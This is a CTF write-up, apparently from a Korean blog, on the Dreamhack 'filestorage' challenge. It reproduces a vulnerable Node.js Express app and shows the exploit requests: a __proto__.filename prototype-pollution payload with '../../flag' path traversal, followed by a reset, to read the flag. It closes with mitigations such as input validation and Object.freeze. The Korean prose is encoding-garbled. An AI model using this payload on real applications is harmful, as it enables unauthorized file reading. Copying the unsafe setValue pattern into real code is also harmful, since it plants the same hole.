[Dreamhack] Level2: filestorage
ποΈ Access
νμΌμ κ΄λ¦¬ν μ μλ ꡬνμ΄ λ λ ννμ΄μ§μ λλ€.
πΎ Exploit Algorithm & Payload
> app.js
const express=require('express');
const bodyParser=require('body-parser');
const ejs=require('ejs');
const hash=require('crypto-js/sha256');
const fs = require('fs');
const app=express();
var file={};
var read={};
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine','ejs');
app.get('/',function(req,resp){
read['filename']='fake';
resp.render(__dirname+"/ejs/index.ejs");
})
app.post('/mkfile',function(req,resp){
let {filename,content}=req.body;
filename=hash(filename).toString();
fs.writeFile(__dirname+"/storage/"+filename,content,function(err){
if(err==null){
file[filename]=filename;
resp.send('your file name is '+filename);
}else{
resp.write("<script>alert('error')</script>");
resp.write("<script>window.location='/'</script>");
}
})
})
app.get('/readfile',function(req,resp){
let filename=file[req.query.filename];
if(filename==null){
fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
resp.send(data);
})
}else{
read[filename]=filename.replaceAll('.','');
fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
if(err==null){
resp.send(data);
}else{
resp.send('file is not existed');
}
})
}
})
app.get('/test',function(req,resp){
let {func,filename,rename}=req.query;
if(func==null){
resp.send("this page hasn't been made yet");
}else if(func=='rename'){
setValue(file,filename,rename)
resp.send('rename');
}else if(func=='reset'){
read={};
resp.send("file reset");
}
})
app.listen(8000);
> dokerfile
FROM node
RUN mkdir -p /app
RUN echo 'BISC{fake flag}' > /flag
WORKDIR /app
COPY ./ /app
RUN npm install
EXPOSE 8000
CMD ["npm","start"]
#1
: '/' νμ΄μ§μμ νμΌ μ΄λ¦κ³Ό λ΄μ©μ μ λ ₯νκ³ λ³΄λΌ μ μλ κ³³μ νμΈν μ μλ€.
app.get('/test',function(req,resp){
let {func,filename,rename}=req.query;
if(func==null){
resp.send("this page hasn't been made yet");
} else if(func=='rename'){
setValue(file,filename,rename)
resp.send('rename');
} else if(func=='reset'){
read={};
resp.send("file reset");
}})
: '/test' κ²½λ‘μ func, filename, renameμ΄λΌλ νλΌλ―Έν°λͺ μ΄ μμμ νμΈν μ μλ€.
: '/test?func=rename' κ³Ό '/test?func=reset'μ λ°λΌ λ€λ₯Έ λ°μμ νλ€.
: '/test?func=rename&filename=[ν΄λΉ νμΌλͺ ]&rename=[λ³κ²½λ νμΌλͺ ]' μ νλΌλ―Έν°κ°μ μ΄μ©νλ©΄ ν΄λΉ νμΌμ μ΄λ¦μ λ³κ²½λ νμΌμ μ΄λ¦μΌλ‘ λ³κ²½νκ² λλ€.
: '/test?func=reset'μ κ²½μ°λ readλ₯Ό 리μ νκ² λλ€.
#2
app.get('/readfile',function(req,resp){
...
read[filename]=filename.replaceAll('.','');
...
})
...
app.get('/test',function(req,resp){
....
}else if(func=='rename'){
setValue(file,filename,rename)
....
})
: μ½λλ₯Ό μ 체μ μΌλ‘ μ΄νΌλ©΄ filedownload μ·¨μ½μ μ λ°©μ΄νκΈ° μν΄μ replaceAll() ν¨μκ° μ¬μ©λμ΄μλ€.
: νμ§λ§ setValue() ν¨μμμ prototype pollution μ·¨μ½μ μ΄ μ‘΄μ¬νλ€.
https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/
Node.jsμμμ νλ‘ν νμ μ€μΌ 곡격μ΄λ 무μμΈκ°
__proto__μ μ΄μ©ν νλ‘ν νμ μ€μΌ(prototype pollution) 곡격μ μ리λ₯Ό μ€λͺ νλ©΄μ λ Έλ νκ²½μμ μ€μ κ³΅κ²©μ΄ κ°λ₯ν μ¬λ‘λ₯Ό ν¨κ» μκ°ν©λλ€.
blog.coderifleman.com
# prototype pollution μμ
const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1
: λ€μ μμμ κ°μ΄ Node.jsμμ μ¬μ© κ°λ₯ν __proto__λ Object.prototypeκ³Ό κ°λ€λ κ²μ μ΄μ©ν΄ λ€λ₯Έ κ°μ²΄ μμ±μ μν₯μ μ£Όλ λ°©μμ΄λ€.
: μΆκ°λ‘ Dockerfileμ νμΈνμ¬ flag νμΌμ΄ λ΄λΆ μ΄λκ°μ μ‘΄μ¬νλ€λ κ²μ μ μ μλ€.
#3
...
app.get('/readfile',function(req,resp){
let filename=file[req.query.filename];
if(filename==null){
fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
resp.send(data); })
}else{
read[filename]=filename.replaceAll('.','');
fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
if(err==null){
resp.send(data);
}else{
resp.send('file is not existed');
}
})
}
})
...
GET /test?func=rename&filename=__proto__.filename&rename=../../flag
-> rename
: filenameμ νλΌλ―Έν°λ₯Ό μ΄μ©ν΄ readλ₯Ό μ€μΌμν¨λ€.
: filenameκ³Ό rename νλΌλ―Έν°μ νλ‘ν νμ μ€μΌ 곡격 νμ΄λ‘λλ₯Ό μμ±νλ©΄ μ λ¬λλ€.
GET /test?func=reset
: κ·Έλ¦¬κ³ read κ°μ²΄λ₯Ό μ΄κΈ°ν ν΄μ€λ€.
: μ΄κΈ°νλ₯Ό ν΄μ€μΌνλ μ΄μ λ read κ°μ²΄μ 'filename'μ΄λΌλ μμ±μ μ°ΎκΈ° λλ¬Έμ΄λ€.(read['filename']) μ΄λ νμ 'filename' μμ±μ μ°Ύμ§λ§, read[filename]μ filename λ³μμ κ°μ λ°λΌ read κ°μ²΄μ λ€λ₯Έ μμ±μ μ°Ύμ μ μλ€.
πAnalysis and results for obtaining the Flag DH{…}
GET /readfile?filename=
: κ·ΈλΌ λ€μκ³Ό κ°μ΄ ν΄λΉ μμΉμ flagλ₯Ό νλν μ μλ€.
πSummary
Node.jsμ __proto__λ κ°μ²΄μ νλ‘ν νμ μ μ°Έμ‘°νλ μμ±μ΄λ€. νλ‘ν νμ κΈ°λ° μμμμ μ€μν μν μ νλ μ΄λ¬ν μμ±μ΄ μ μμ μΈ μ½λλ‘ μ¬μ©λ μ μλ€. μ΄λ₯Ό prototype pollutionμ΄λΌ νλ€. μ΄λ μ μμ μΈ μ¬μ©μκ° νλ‘ν νμ 체μΈμ μ‘°μνμ¬ μ΄ν리μΌμ΄μ μ λμμ μν₯μ λ―ΈμΉλ 곡격μΌλ‘ μλ μλ μμ±μ μΆκ°νκ±°λ, κΈ°μ‘΄ μμ±μ λ³κ²½ λ° λ©μλλ₯Ό μ€λ²λΌμ΄λν μ μκ² λλ€.
-λμλ°©μ-
- μ λ ₯κ° κ²μ¦
: μ¬κΈ°μλ νΉν __proto__ μ κ΄λ ¨λ λ¬Έμλ prototypeκ³Ό κ°μ ν€μλκ° ν¬ν¨λ μ λ ₯μ μ μ ν κ²μ¦ν΄μΌ ν¨.
- Object.freeze() νμ©
: μ΄ λ©μλλ₯Ό μ¬μ©νλ©΄ κ°μ²΄λ₯Ό λκ²°νμ¬ κ·Έ μμ±μ λ³κ²½ν μ μκ² λ§λ€ μ μλ€.
- μΈλΆ λΌμ΄λΈλ¬λ¦¬ μ¬μ© μ£Όμ
...